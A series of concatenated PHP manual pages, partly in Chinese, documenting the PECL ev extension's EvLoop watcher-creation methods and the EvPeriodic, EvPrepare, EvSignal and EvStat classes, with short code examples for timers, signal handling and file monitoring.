Creates an instance of EvEmbed watcher associated with the current EvLoop object

  • ? EvLoop::defaultLoop
  • EvLoop::fork ?
  • PHP Manual
  • EvLoop
  • Creates an instance of EvEmbed watcher associated with the current EvLoop object

EvLoop::embed

(PECL ev >= 0.2.0)

EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object

说明

final public EvLoop::embed(
string $other ,
string $callback = ?,
string $data = ?,
string $priority = ?
): EvEmbed

Creates an instance of EvEmbed watcher associated with the current EvLoop object.

参数

All parameters have the same meaning as for EvEmbed::__construct() .

返回值

Returns EvEmbed object on success.

参见

  • EvEmbed::__construct() - Constructs the EvEmbed object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvFork watcher object associated with the current event loop instance

  • ? EvLoop::embed
  • EvLoop::idle ?
  • PHP Manual
  • EvLoop
  • Creates EvFork watcher object associated with the current event loop instance

EvLoop::fork

(PECL ev >= 0.2.0)

EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance

说明

final public EvLoop::fork( callable $callback , mixed $data = null , int $priority = 0 ): EvFork

Creates EvFork watcher object associated with the current event loop instance

参数

All parameters have the same meaning as for EvFork::__construct()

返回值

Returns EvFork object on success.

参见

  • EvFork::__construct() - Constructs the EvFork watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvIdle watcher object associated with the current event loop instance

  • ? EvLoop::fork
  • EvLoop::invokePending ?
  • PHP Manual
  • EvLoop
  • Creates EvIdle watcher object associated with the current event loop instance

EvLoop::idle

(PECL ev >= 0.2.0)

EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance

说明

final public EvLoop::idle( callable $callback , mixed $data = null , int $priority = 0 ): EvIdle

Creates EvIdle watcher object associated with the current event loop instance

参数

All the parameters have the same meaning as for EvIdle::__construct()

返回值

Returns EvIdle object on success.

参见

  • EvIdle::__construct() - Constructs the EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Invoke all pending watchers while resetting their pending state

  • ? EvLoop::idle
  • EvLoop::io ?
  • PHP Manual
  • EvLoop
  • Invoke all pending watchers while resetting their pending state

EvLoop::invokePending

(PECL ev >= 0.2.0)

EvLoop::invokePending — Invoke all pending watchers while resetting their pending state

说明

public EvLoop::invokePending(): void

Invoke all pending watchers while resetting their pending state.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Create EvIo watcher object associated with the current event loop instance

  • ? EvLoop::invokePending
  • EvLoop::loopFork ?
  • PHP Manual
  • EvLoop
  • Create EvIo watcher object associated with the current event loop instance

EvLoop::io

(PECL ev >= 0.2.0)

EvLoop::io — Create EvIo watcher object associated with the current event loop instance

说明

final public EvLoop::io(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo

Create EvIo watcher object associated with the current event loop instance.

参数

All parameters have the same meaning as for EvIo::__construct()

返回值

Returns EvIo object on success.

参见

  • EvIo::__construct() - Constructs EvIo watcher object

User Contributed Notes

There are no user contributed notes for this page.


Must be called after a fork

  • ? EvLoop::io
  • EvLoop::now ?
  • PHP Manual
  • EvLoop
  • Must be called after a fork

EvLoop::loopFork

(PECL ev >= 0.2.0)

EvLoop::loopFork — Must be called after a fork

说明

public EvLoop::loopFork(): void

Must be called after a fork in the child, before entering or continuing the event loop. An alternative is to use Ev::FLAG_FORKCHECK which calls this function automatically, at some performance loss (refer to the » libev documentation ).

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns the current "event loop time"

  • ? EvLoop::loopFork
  • EvLoop::nowUpdate ?
  • PHP Manual
  • EvLoop
  • Returns the current "event loop time"

EvLoop::now

(PECL ev >= 0.2.0)

EvLoop::now — Returns the current "event loop time"

说明

public EvLoop::now(): float

Returns the current "event loop time", which is the time the event loop received events and started processing them. This timestamp does not change as long as callbacks are being processed, and this is also the base time used for relative timers. You can treat it as the timestamp of the event occurring(or more correctly, libev finding out about it).

参数

此函数没有参数。

返回值

Returns time of the event loop in (fractional) seconds.

参见

  • Ev::now() - Returns the time when the last iteration of the default event loop has started

User Contributed Notes

There are no user contributed notes for this page.


Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

  • ? EvLoop::now
  • EvLoop::periodic ?
  • PHP Manual
  • EvLoop
  • Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

EvLoop::nowUpdate

(PECL ev >= 0.2.0)

EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress

说明

public EvLoop::nowUpdate(): void

Establishes the current time by querying the kernel, updating the time returned by EvLoop::now() in the progress. This is a costly operation and is usually done automatically within EvLoop::run() .

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvLoop::now() - Returns the current "event loop time"
  • Ev::nowUpdate() - Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPeriodic watcher object associated with the current event loop instance

  • ? EvLoop::nowUpdate
  • EvLoop::prepare ?
  • PHP Manual
  • EvLoop
  • Creates EvPeriodic watcher object associated with the current event loop instance

EvLoop::periodic

(PECL ev >= 0.2.0)

EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance

说明

final public EvLoop::periodic(
float $offset ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic

Creates EvPeriodic watcher object associated with the current event loop instance

参数

All parameters have the same maening as for EvPeriodic::__construct()

返回值

Returns EvPeriodic object on success.

参见

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvPrepare watcher object associated with the current event loop instance

  • ? EvLoop::periodic
  • EvLoop::resume ?
  • PHP Manual
  • EvLoop
  • Creates EvPrepare watcher object associated with the current event loop instance

EvLoop::prepare

(PECL ev >= 0.2.0)

EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance

说明

final public EvLoop::prepare( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare

Creates EvPrepare watcher object associated with the current event loop instance

参数

All parameters have the same maening as for EvPrepare()

返回值

Returns EvPrepare object on success

参见

  • EvPrepare::__construct() - Constructs EvPrepare watcher object

User Contributed Notes

There are no user contributed notes for this page.


Resume previously suspended default event loop

  • ? EvLoop::prepare
  • EvLoop::run ?
  • PHP Manual
  • EvLoop
  • Resume previously suspended default event loop

EvLoop::resume

(PECL ev >= 0.2.0)

EvLoop::resume — Resume previously suspended default event loop

说明

public EvLoop::resume(): void

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvLoop::suspend() - Suspend the loop
  • Ev::resume() - Resume previously suspended default event loop

User Contributed Notes

There are no user contributed notes for this page.


Begin checking for events and calling callbacks for the loop

  • ? EvLoop::resume
  • EvLoop::signal ?
  • PHP Manual
  • EvLoop
  • Begin checking for events and calling callbacks for the loop

EvLoop::run

(PECL ev >= 0.2.0)

EvLoop::run — Begin checking for events and calling callbacks for the loop

说明

public EvLoop::run( int $flags = 0 ): void

Begin checking for events and calling callbacks for the current event loop. Returns when a callback calls Ev::stop() method, or the flags are nonzero(in which case the return value is true) or when there are no active watchers which reference the loop( EvWatcher::keepalive() is true), in which case the return value will be false. The return value can generally be interpreted as if true, there is more work left to do .

参数

flags

Optional parameter flags can be one of the following:

List for possible values of flags
flags | Description
0 | The default behavior described above
Ev::RUN_ONCE | Block at most one(wait, but don't loop)
Ev::RUN_NOWAIT | Don't block at all(fetch/handle events, but don't wait)

See the run flag constants .

返回值

没有返回值。

参见

  • EvLoop::stop() - Stops the event loop
  • Ev::run() - Begin checking for events and calling callbacks for the default loop

User Contributed Notes

There are no user contributed notes for this page.


Creates EvSignal watcher object associated with the current event loop instance

  • ? EvLoop::run
  • EvLoop::stat ?
  • PHP Manual
  • EvLoop
  • Creates EvSignal watcher object associated with the current event loop instance

EvLoop::signal

(PECL ev >= 0.2.0)

EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance

说明

final public EvLoop::signal(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal

Creates EvSignal watcher object associated with the current event loop instance

参数

All parameters have the same meaning as for EvSignal::__construct()

返回值

Returns EvSignal object on success

参见

  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvStat watcher object associated with the current event loop instance

  • ? EvLoop::signal
  • EvLoop::stop ?
  • PHP Manual
  • EvLoop
  • Creates EvStat watcher object associated with the current event loop instance

EvLoop::stat

(PECL ev >= 0.2.0)

EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance

说明

final public EvLoop::stat(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvStat

Creates EvStat watcher object associated with the current event loop instance

参数

All parameters have the same meaning as for EvSignal::__construct()

返回值

Returns EvStat object on success

参见

  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Stops the event loop

  • ? EvLoop::stat
  • EvLoop::suspend ?
  • PHP Manual
  • EvLoop
  • Stops the event loop

EvLoop::stop

(PECL ev >= 0.2.0)

EvLoop::stop — Stops the event loop

说明

public EvLoop::stop( int $how = ?): void

Stops the event loop

参数

how

One of Ev::BREAK_* constants .

返回值

没有返回值。

参见

  • EvLoop::run() - Begin checking for events and calling callbacks for the loop
  • Ev::stop() - Stops the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Suspend the loop

  • ? EvLoop::stop
  • EvLoop::timer ?
  • PHP Manual
  • EvLoop
  • Suspend the loop

EvLoop::suspend

(PECL ev >= 0.2.0)

EvLoop::suspend — Suspend the loop

说明

public EvLoop::suspend(): void

EvLoop::suspend() and EvLoop::resume() methods suspend and resume a loop correspondingly.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvLoop::resume() - Resume previously suspended default event loop
  • Ev::suspend() - Suspend the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Creates EvTimer watcher object associated with the current event loop instance

  • ? EvLoop::suspend
  • EvLoop::verify ?
  • PHP Manual
  • EvLoop
  • Creates EvTimer watcher object associated with the current event loop instance

EvLoop::timer

(PECL ev >= 0.2.0)

EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance

说明

final public EvLoop::timer(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer

Creates EvTimer watcher object associated with the current event loop instance

参数

All parameters have the same meaning as for EvTimer::__construct()

返回值

Returns EvTimer object on success

参见

  • EvTimer::__construct() - Constructs an EvTimer watcher object

User Contributed Notes

There are no user contributed notes for this page.


Performs internal consistency checks(for debugging)

  • ? EvLoop::timer
  • EvPeriodic ?
  • PHP Manual
  • EvLoop
  • Performs internal consistency checks(for debugging)

EvLoop::verify

(PECL ev >= 0.2.0)

EvLoop::verify — Performs internal consistency checks(for debugging)

说明

public EvLoop::verify(): void

Performs internal consistency checks(for debugging libev ) and abort the program if any data structures were found to be corrupted.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Ev::verify() - Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


The EvPeriodic class

(PECL ev >= 0.2.0)

简介

Periodic watchers are also timers of a kind, but they are very versatile.

Unlike EvTimer , EvPeriodic watchers are not based on real time(or relative time, the physical time that passes) but on wall clock time(absolute time, calendar or clock). The difference is that wall clock time can run faster or slower than real time, and time jumps are not uncommon(e.g. when adjusting it).

EvPeriodic watcher can be configured to trigger after some specific point in time. For example, if an EvPeriodic watcher is configured to trigger "in 10 seconds" (e.g. EvLoop::now() + 10.0 , i.e. an absolute time, not a delay), and the system clock is reset to January of the previous year , then it will take a year or more to trigger the event (unlike an EvTimer , which would still trigger roughly 10 seconds after starting it as it uses a relative timeout).

As with timers, the callback is guaranteed to be invoked only when the point in time where it is supposed to trigger has passed. If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

类摘要

class EvPeriodic extends EvWatcher {
/* 属性 */
public $offset;
public $interval;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
float $offset ,
string $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public again(): void
public at(): float
final public static createStopped(
float $offset ,
float $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic
public set( float $offset , float $interval ): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

offset

When repeating, this contains the offset value, otherwise this is the absolute point in time(the offset value passed to EvPeriodic::set() , although libev might modify this value for better numerical stability).

interval

The current interval value. Can be modified any time, but changes only take effect when the periodic timer fires or EvPeriodic::again() is being called.

Table of Contents

  • EvPeriodic::again — Simply stops and restarts the periodic watcher again
  • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
  • EvPeriodic::__construct — Constructs EvPeriodic watcher object
  • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
  • EvPeriodic::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Simply stops and restarts the periodic watcher again

  • ? EvPeriodic
  • EvPeriodic::at ?
  • PHP Manual
  • EvPeriodic
  • Simply stops and restarts the periodic watcher again

EvPeriodic::again

(PECL ev >= 0.2.0)

EvPeriodic::again — Simply stops and restarts the periodic watcher again

说明

public EvPeriodic::again(): void

Simply stops and restarts the periodic watcher again. This is only useful when attributes are changed.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvTimer::again() - Restarts the timer watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the absolute time that this watcher is supposed to trigger next

  • ? EvPeriodic::again
  • EvPeriodic::__construct ?
  • PHP Manual
  • EvPeriodic
  • Returns the absolute time that this watcher is supposed to trigger next

EvPeriodic::at

(PECL ev >= 0.2.0)

EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next

说明

public EvPeriodic::at(): float

When the watcher is active, returns the absolute time that this watcher is supposed to trigger next. This is not the same as the offset argument to EvPeriodic::set() or EvPeriodic::__construct() , but indeed works even in interval mode.

参数

此函数没有参数。

返回值

Returns the absolute time this watcher is supposed to trigger next in seconds.

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPeriodic watcher object

  • ? EvPeriodic::at
  • EvPeriodic::createStopped ?
  • PHP Manual
  • EvPeriodic
  • Constructs EvPeriodic watcher object

EvPeriodic::__construct

(PECL ev >= 0.2.0)

EvPeriodic::__construct — Constructs EvPeriodic watcher object

说明

public EvPeriodic::__construct(
float $offset ,
string $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Constructs EvPeriodic watcher object and starts it automatically. EvPeriodic::createStopped() method creates stopped periodic watcher.

参数

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass null. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

示例

Example #1 Periodic timer. Use reschedule callback

<?php
// Tick each 10.5 seconds

function reschedule_cb ($watcher, $now) {
return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
echo time(), PHP_EOL;
});
Ev::run();
?>

Example #2 Periodic timer. Tick every 10.5 seconds starting at now

<?php
// Tick every 10.5 seconds starting at now
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});
Ev::run();
?>

Example #3 Hourly watcher

<?php
$hourly = EvPeriodic(0, 3600, NULL, function () {
echo "once per hour\n";
});
?>

参见

  • Periodic watcher operation modes
  • EvTimer
  • EvPeriodic::createStopped() - Create a stopped EvPeriodic watcher

User Contributed Notes

1187328898 at qq dot com 22-Jun-2018 03:14
function reschedule_cb_10s ($watcher, $now) {
    return $now + 10.;
}

//PHP7.0+版本不支持reschedule_cb模式
// PHP5.6测试通过
$w5 = new EvPeriodic(0.0, 0.0, "reschedule_cb_10s", function ($w, $revents) {
    echo "w5:enter:", time(), PHP_EOL;
//    sleep(3);
    echo "w5:end:", time(), PHP_EOL;
});

Ev::run();


Create a stopped EvPeriodic watcher

  • ? EvPeriodic::__construct
  • EvPeriodic::set ?
  • PHP Manual
  • EvPeriodic
  • Create a stopped EvPeriodic watcher

EvPeriodic::createStopped

(PECL ev >= 0.2.0)

EvPeriodic::createStopped — Create a stopped EvPeriodic watcher

说明

final public static EvPeriodic::createStopped(
float $offset ,
float $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic

Create EvPeriodic object. Unlike EvPeriodic::__construct() this method doesn't start the watcher automatically.

参数

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass null. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvPeriodic watcher object on success.

参见

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object
  • EvTimer::createStopped() - Creates EvTimer stopped watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvPeriodic::createStopped
  • EvPrepare ?
  • PHP Manual
  • EvPeriodic
  • Configures the watcher

EvPeriodic::set

(PECL ev >= 0.2.0)

EvPeriodic::set — Configures the watcher

说明

public EvPeriodic::set( float $offset , float $interval ): void

(Re-)Configures EvPeriodic watcher

参数

offset

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

interval

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EvPrepare class

(PECL ev >= 0.2.0)

简介

EvPrepare and EvCheck watchers are usually used in pairs. EvPrepare watchers get invoked before the process blocks, EvCheck afterwards.

It is not allowed to call EvLoop::run() or similar methods or functions that enter the current event loop from either EvPrepare or EvCheck watchers. Other loops than the current one are fine, however. The rationale behind this is that one don't need to check for recursion in those watchers, i.e. the sequence will always be: EvPrepare -> blocking -> EvCheck , so having a watcher of each kind they will always be called in pairs bracketing the blocking call.

The main purpose is to integrate other event mechanisms into libev and their use is somewhat advanced. They could be used, for example, to track variable changes, implement custom watchers, integrate net-snmp or a coroutine library and lots more. They are also occasionally useful to cache some data and want to flush it before blocking.

It is recommended to give EvCheck watchers highest( Ev::MAXPRI ) priority, to ensure that they are being run before any other watchers after the poll (this doesn't matter for EvPrepare watchers).

Also, EvCheck watchers should not activate/feed events. While libev fully supports this, they might get executed before other EvCheck watchers did their job.

类摘要

class EvPrepare extends EvWatcher {
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct( string $callback , string $data = ?, string $priority = ?)
final public static createStopped( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Table of Contents

  • EvPrepare::__construct — Constructs EvPrepare watcher object
  • EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPrepare watcher object

  • ? EvPrepare
  • EvPrepare::createStopped ?
  • PHP Manual
  • EvPrepare
  • Constructs EvPrepare watcher object

EvPrepare::__construct

(PECL ev >= 0.2.0)

EvPrepare::__construct — Constructs EvPrepare watcher object

说明

public EvPrepare::__construct( string $callback , string $data = ?, string $priority = ?)

Constructs EvPrepare watcher object. And starts the watcher automatically. If need a stopped watcher consider using EvPrepare::createStopped()

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Creates a stopped instance of EvPrepare watcher

  • ? EvPrepare::__construct
  • EvSignal ?
  • PHP Manual
  • EvPrepare
  • Creates a stopped instance of EvPrepare watcher

EvPrepare::createStopped

(PECL ev >= 0.2.0)

EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher

说明

final public static EvPrepare::createStopped( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare

Creates a stopped instance of EvPrepare watcher. Unlike EvPrepare::__construct() , this method doesn' start the watcher automatically.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Return EvPrepare object on success.

参见

  • EvPrepare::__construct() - Constructs EvPrepare watcher object
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


The EvSignal class

(PECL ev >= 0.2.0)

简介

EvSignal watchers will trigger an event when the process receives a specific signal one or more times. Even though signals are very asynchronous, libev will try its best to deliver signals synchronously, i.e. as part of the normal event processing, like any other event.

There is no limit for the number of watchers for the same signal, but only within the same loop, i.e. one can watch for SIGINT in the default loop and for SIGIO in another loop, but it is not allowed to watch for SIGINT in both the default loop and another loop at the same time. At the moment, SIGCHLD is permanently tied to the default loop.

If possible and supported, libev will install its handlers with SA_RESTART (or equivalent) behaviour enabled, so system calls should not be unduly interrupted. In case of a problem with system calls getting interrupted by signals, all the signals can be blocked in an EvCheck watcher and unblocked in a EvPrepare watcher.

类摘要

class EvSignal extends EvWatcher {
/* 属性 */
public $signum;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
final public static createStopped(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal
public set( int $signum ): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

signum

Signal number. See the constants exported by pcntl extension. See also signal(7) man page.

Table of Contents

  • EvSignal::__construct — Constructs EvSignal watcher object
  • EvSignal::createStopped — Create stopped EvSignal watcher object
  • EvSignal::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvSignal watcher object

  • ? EvSignal
  • EvSignal::createStopped ?
  • PHP Manual
  • EvSignal
  • Constructs EvSignal watcher object

EvSignal::__construct

(PECL ev >= 0.2.0)

EvSignal::__construct — Constructs EvSignal watcher object

说明

public EvSignal::__construct(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Constructs EvSignal watcher object and starts it automatically. For a stopped periodic watcher consider using EvSignal::createStopped() method.

参数

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

示例

Example #1 Handle SIGTERM signal

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
echo "SIGTERM received\n";
$watcher->stop();
});

Ev::run();
?>

参见

  • EvSignal::createStopped() - Create stopped EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvSignal watcher object

  • ? EvSignal::__construct
  • EvSignal::set ?
  • PHP Manual
  • EvSignal
  • Create stopped EvSignal watcher object

EvSignal::createStopped

(PECL ev >= 0.2.0)

EvSignal::createStopped — Create stopped EvSignal watcher object

说明

final public static EvSignal::createStopped(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal

Create stopped EvSignal watcher object. Unlike EvSignal::__construct() , this method does't start the watcher automatically.

参数

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvSignal object on success.

参见

  • EvWatcher::start() - Starts the watcher
  • EvSignal::__construct() - Constructs EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvSignal::createStopped
  • EvStat ?
  • PHP Manual
  • EvSignal
  • Configures the watcher

EvSignal::set

(PECL ev >= 0.2.0)

EvSignal::set — Configures the watcher

说明

public EvSignal::set( int $signum ): void

Configures the watcher.

参数

signum

Signal number. The same as for EvSignal::__construct()

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EvStat class

(PECL ev >= 0.2.0)

简介

EvStat monitors a file system path for attribute changes. It calls stat() on that path in regular intervals(or when the OS signals it changed) and sees if it changed compared to the last time, invoking the callback if it did.

The path does not need to exist: changing from "path exists" to "path does not exist" is a status change like any other. The condition "path does not exist" is signified by the 'nlink' item being 0(returned by EvStat::attr() method).

The path must not end in a slash or contain special components such as '.' or .. . The path should be absolute: if it is relative and the working directory changes, then the behaviour is undefined.

Since there is no portable change notification interface available, the portable implementation simply calls stat() regularly on the path to see if it changed somehow. For this case a recommended polling interval can be specified. If one specifies a polling interval of 0.0 (highly recommended) then a suitable, unspecified default value will be used(which could be expected to be around 5 seconds, although this might change dynamically). libev will also impose a minimum interval which is currently around 0.1 , but that's usually overkill.

This watcher type is not meant for massive numbers of EvStat watchers, as even with OS-supported change notifications, this can be resource-intensive.

类摘要

class EvStat extends EvWatcher {
/* 属性 */
public $path;
public $interval;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public attr(): array
final public static createStopped(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): void
public prev(): void
public set( string $path , float $interval ): void
public stat(): bool
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

interval

Readonly . Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

path

Readonly . The path to wait for status changes on.

Table of Contents

  • EvStat::attr — Returns the values most recently detected by Ev
  • EvStat::__construct — Constructs EvStat watcher object
  • EvStat::createStopped — Create a stopped EvStat watcher object
  • EvStat::prev — Returns the previous set of values returned by EvStat::attr
  • EvStat::set — Configures the watcher
  • EvStat::stat — Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Returns the values most recently detected by Ev

  • ? EvStat
  • EvStat::__construct ?
  • PHP Manual
  • EvStat
  • Returns the values most recently detected by Ev

EvStat::attr

(PECL ev >= 0.2.0)

EvStat::attr — Returns the values most recently detected by Ev

说明

public EvStat::attr(): array

Returns array of the values most recently detected by Ev

参数

此函数没有参数。

返回值

Returns array with the values most recently detect by Ev(without actual stat 'ing):

List for item keys of the array returned by EvStat::attr()
Key | Description
'dev' | ID of device containing file
'ino' | inode number
'mode' | protection
'nlink' | number of hard links
'uid' | user ID of owner
'size' | total size, in bytes
'gid' | group ID of owner
'rdev' | device ID (if special file)
'blksize' | blocksize for file system I/O
'blocks' | number of 512B blocks allocated
'atime' | time of last access
'ctime' | time of last status change
'mtime' | time of last modification

See stat(2) man page for details.

示例

Example #1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages changed\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Current size: %ld\n", $attr['size']);
printf("Current atime: %ld\n", $attr['atime']);
printf("Current mtime: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "`messages` file is not there!");
$w->stop();
}
});

Ev::run();
?>

参见

  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvStat watcher object

  • ? EvStat::attr
  • EvStat::createStopped ?
  • PHP Manual
  • EvStat
  • Constructs EvStat watcher object

EvStat::__construct

(PECL ev >= 0.2.0)

EvStat::__construct — Constructs EvStat watcher object

说明

public EvStat::__construct(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Constructs EvStat watcher object and starts the watcher automatically.

参数

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

示例

Example #1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages changed\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Current size: %ld\n", $attr['size']);
printf("Current atime: %ld\n", $attr['atime']);
printf("Current mtime: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "`messages` file is not there!");
$w->stop();
}
});

Ev::run();
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a stopped EvStat watcher object

  • ? EvStat::__construct
  • EvStat::prev ?
  • PHP Manual
  • EvStat
  • Create a stopped EvStat watcher object

EvStat::createStopped

(PECL ev >= 0.2.0)

EvStat::createStopped — Create a stopped EvStat watcher object

说明

final public static EvStat::createStopped(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): void

Creates EvStat watcher object, but doesn't start it automatically(unlike EvStat::__construct() ).

参数

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

